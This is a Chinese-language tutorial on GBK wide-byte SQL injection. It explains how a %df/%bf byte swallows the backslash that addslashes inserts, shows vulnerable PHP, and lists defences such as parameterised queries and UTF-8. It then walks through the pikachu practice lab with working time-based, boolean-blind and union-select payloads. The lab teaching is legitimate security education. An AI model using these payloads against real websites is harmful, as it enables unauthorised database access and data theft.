Web渗透之SQL注入-宽字节注入

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

一、概念

1、核心原理

2、简单示例

3、典型场景与代码

4、触发条件

5、与普通注入的区别

6、防御措施

7、实际利用(合法测试环境)

8、总结

二、宽字节注入的典型过程

1、漏洞代码分析

[2、攻击 Payload 与结果](#2、攻击 Payload 与结果)

3、总结

三、靶场注入示例

1、环境确认与初步探测

2、测试注入点是否存在

[2.1 使用延时注入初步验证](#2.1 使用延时注入初步验证)

[2.2 布尔条件测试](#2.2 布尔条件测试)

3、利用布尔盲注获取数据库信息

[3.1 获取数据库名长度](#3.1 获取数据库名长度)

[3.2 逐个字符猜解数据库名](#3.2 逐个字符猜解数据库名)

4、使用联合查询直接获取数据库名

一、概念

宽字节注入是一种利用数据库字符集编码差异 绕过转义防御(如 addslashesmysql_real_escape_string)的 SQL 注入技术。它主要发生在使用 GBK、GB2312、BIG5 等多字节字符集的环境中。

1、核心原理

当数据库连接使用 SET NAMES 'gbk'(或类似的宽字节字符集)时,PHP 的转义函数(如 addslashes)会在特殊字符前添加反斜杠 \(ASCII 0x5c)。攻击者通过在输入中构造一个宽字节字符 (如 %df),与转义添加的反斜杠 %5c 组合成一个合法的多字节字符(如 %df%5c),导致反斜杠被"吞掉"而失去转义效果,从而使得原本被转义的单引号 ' 重新成为字符串结束符,实现注入。

2、简单示例

  • 正常输入:1' → 被转义成 1\' → 无法注入。

  • 宽字节注入输入:1%df' → 经过转义变成 1%df\' → 但 %df 和反斜杠 %5c 组成 %df%5c(一个合法的 GBK 字符),剩下的单引号 %27 未被转义 → 最终 SQL 为 ... WHERE id='1運'',实现了注入。

3、典型场景与代码

复制代码
// 数据库连接设置为 GBK
mysql_query("SET NAMES 'gbk'");
$name = addslashes($_GET['name']);
$sql = "SELECT * FROM users WHERE name='$nam'";

攻击者输入 name=1%df' or 1=1 --,利用宽字节特性逃逸转义。

4、触发条件

  1. 数据库连接使用了宽字节字符集(如 GBK、GB2312、BIG5、Shift_JIS)。

  2. PHP 使用了转义函数 (如 addslashesmysql_real_escape_string,但后者在设置正确字符集时可能无效)。

  3. 客户端提交的数据未做更严格的过滤或预处理

5、与普通注入的区别

  • 普通注入:通过闭合引号、注释符绕过。

  • 宽字节注入:通过构造宽字节使反斜杠失效,从而让单引号"活过来"。

6、防御措施

  1. 使用参数化查询(Prepared Statements):最彻底的方法,无需关心字符集。

  2. 统一使用 UTF-8 字符集 :UTF-8 中 %df%5c 不是一个有效的多字节字符,反斜杠不会被吞掉。设置 SET NAMES 'utf8' 或使用 charset=utf8

  3. 避免使用 GBK/GB2312 等宽字节编码 ,或确保转义函数正确处理(如 mysql_set_charset('gbk') 配合 mysql_real_escape_string 可防御,但推荐直接上参数化查询)。

  4. 输入过滤 :过滤 %df%5c 等危险字符,但不如前两种可靠。

7、实际利用(合法测试环境)

在宽字节环境下,探测注入:

复制代码
http://example.com/?id=1%df' and 1=1 -- 

如果返回内容与 1' and 1=1 类似,则存在宽字节注入。

8、总结

宽字节注入是一种依赖于特定字符集(非 UTF-8) 的注入技术,利用转义符反斜杠与输入字符组成多字节字符从而"吃掉"反斜杠。根本防御是参数化查询,其次统一使用 UTF-8 字符集。

二、宽字节注入的典型过程

1、漏洞代码分析

复制代码
mysql_query($conn, "set names gbk");   // 设置数据库连接为 GBK 字符集
$id = $_GET['id'];
$id = addslashes($id);                 // 对输入进行转义
$sql = "select * from userinfo where id='{$id}'";
  • 关键点 :数据库连接使用了 GBK 字符集。

  • addslashes 会将单引号 ' 转义为 \'(反斜杠的 ASCII 为 0x5c),通常可以防止 SQL 注入。

  • 但由于 GBK 是多字节字符集,某些字节与反斜杠 0x5c 组合会形成一个合法的中文字符,导致反斜杠被"吸收"而失效。


2、攻击 Payload 与结果

Payload

复制代码
http://127.0.0.1/demo3.php?id=1%bf union select 1,2,3 limit 1,1 -- -

执行过程

  1. 用户输入 1%bf%bf 是一个十六进制字节(191)。

  2. addslashes 会在单引号前加反斜杠,但这里并没有单引号?注意:代码中 $id 被拼接进 SQL 时会用单引号包裹,如 '{$id}'。传入 1%bf,实际字符串为 1 后跟一个字节 0xbf

  3. 然而,攻击者最终目的是要让原本的闭合单引号失效。实际注入的完整 payload 是 1%bf' union ...。因为在 URL 中单引号被编码为 %27,但为了展示,图中写的是 1%bf union...,可能省略了单引号?注意图中显示的 SQL 语句:select * from userinfo where id='1' union select 1,2,3 limit 1,1 -- -',说明 1 后面确实有一个单引号。因此原始输入应该是 1%bf'。但图中显示的 payload 没有单引号?重新看:1%bf union...%bf 后面直接跟 union,这意味着 %bf 本身并不是单引号。实际上典型的宽字节注入是在单引号前加 %df 之类的,让 %df%5c 合成一个汉字,从而保留单引号。图中可能省略了单引号,或者将 %bf 作为绕过转义的一部分。

更准确地解释:正常输入 1' 会被转义为 1\',反斜杠 0x5c 在 GBK 中与后续字符组合。攻击者输入 1%bf',转义后变为 1%bf\',即字节序列:31 bf 5c 27。由于 bf5c 组成一个有效的 GBK 字符(如 ),反斜杠被消耗,剩下的 27 即为独立的单引号,从而闭合了原 SQL 中的引号。然后攻击者可以追加 union select ...

执行的 SQL 最终变为:

复制代码
select * from userinfo where id='1' union select 1,2,3 limit 1,1 -- -'

成功执行了联合查询,并返回了数组 [1,2,3]


3、总结

  • 宽字节注入原理 :利用 GBK 等字符集中,某些字节与反斜杠 0x5c 组成多字节字符,导致转义符失效。

  • 触发条件 :数据库连接使用 SET NAMES gbk(或类似宽字符集)且应用程序使用转义函数(如 addslashes)。

  • 防御方法:使用参数化查询(推荐)或统一使用 UTF-8 字符集,并避免使用不安全的转义函数。

三、靶场注入示例

以pikachu靶场为例

1、环境确认与初步探测

  1. 正常访问 访问 http://192.168.179.135/pikachu-master/pikachu-master/vul/sqli/sqli_widebyte.php,输入用户名 kobe 查询,返回 uid=3, email=kobe@pikachu.com。确认正常功能。

  2. 确认字符集与宽字节条件 查看页面源码或提示,得知该模块使用 GBK 编码,并且存在宽字节注入漏洞。


2、测试注入点是否存在

2.1 使用延时注入初步验证

Payload (POST 参数 name):

复制代码
kobe%bf'or sleep(5)--
  • %bf 是宽字节字符,与转义添加的反斜杠 %5c 组合成 GBK 汉字,从而吃掉反斜杠,使单引号存活。

  • 提交后页面响应明显延迟 5 秒,确认存在时间盲注,同时说明宽字节注入有效。

2.2 布尔条件测试

  • 永真条件kobe%bf'or 1=1-- 结果返回了所有用户(uid 从 1 到 7 等多条记录),说明条件生效。

  • 永假条件kobe%bf'or 1=2-- 返回"您输入的username不存在",说明页面能区分真/假。 → 确认存在布尔盲注。


3、利用布尔盲注获取数据库信息

3.1 获取数据库名长度

Payload

复制代码
kobe%bf'or length(database())=7--

页面正常返回多条用户数据(真),说明 length(database()) = 7 成立。 若改为 =8 则返回空,从而确定数据库名长度为 7

3.2 逐个字符猜解数据库名

使用 substr(database(),1,1) 结合 ASCII 码或十六进制比较。

示例 (猜第一个字符是否为 p):

复制代码
kobe%bf'or substr(database(),1,1)=0x70--
  • 0x70 是字母 p 的十六进制。页面返回正常(真),说明第一个字符是 p。 后续依次猜解 substr(database(),2,1) 等,最终得到数据库名 pikachu


4、使用联合查询直接获取数据库名

由于联合查询需要确定列数,且该模块存在回显位置,用户直接使用了联合查询(截图显示成功)。

Payload

复制代码
kobe%bf'union select database(),2 limit 0,1--
  • 闭合前面的查询,limit 0,1 确保只返回联合查询的结果。

  • 执行后在页面上 your uid 处显示 pikachuyour email 显示 2。 → 成功获取当前数据库名。

相关推荐
龙仔72516 分钟前
SQL Server 批量多库只读账号一键脚本(带逐行注释完整脚本 + 分段逐句详细解释)
服务器·数据库·sql·sqlserver·dba
数据知道1 小时前
HTTP/HTTPS 安全深度剖析:抓包、解密与证书陷阱
安全·http·https·mitmproxy·抓包解密
AI创界者2 小时前
安全测试环境搭建:在 Kali Linux 中部署与配置开源 WebShell 管理工具 AntSword(蚁剑)
linux·运维·安全
深盾科技_Virbox3 小时前
软件授权工具静默安装实践
java·运维·数据库·安全·软件需求
এ慕ོ冬℘゜3 小时前
前端核心知识体系进阶:从安全机制、网络协议到原生 JS 实战全解析
前端·网络协议·安全
延凡科技4 小时前
延凡科技综合监控预警处置平台—— 一体化视频AI安防闭环系统设计与功能实现[特殊字符]️
数据库·人工智能·科技·安全·能源
Amy187021118234 小时前
筑牢算力底座的安全防线:直流绝缘监测如何为固态变压器保驾护航
安全
HackTwoHub4 小时前
AI大模型攻击思路,涵盖提示词劫持、知识库投毒、多语种混淆 + 身份伪装、诱导 AI 输出涉密后台核心配置
人工智能·安全·web安全·网络安全·自动化·系统安全·安全架构
Kyrie6785 小时前
为什么我们不能等待更好的后量子签名算法
安全
长风2305 小时前
Day 16:大屏呈现——管理层视角 Dashboard 设计
人工智能·安全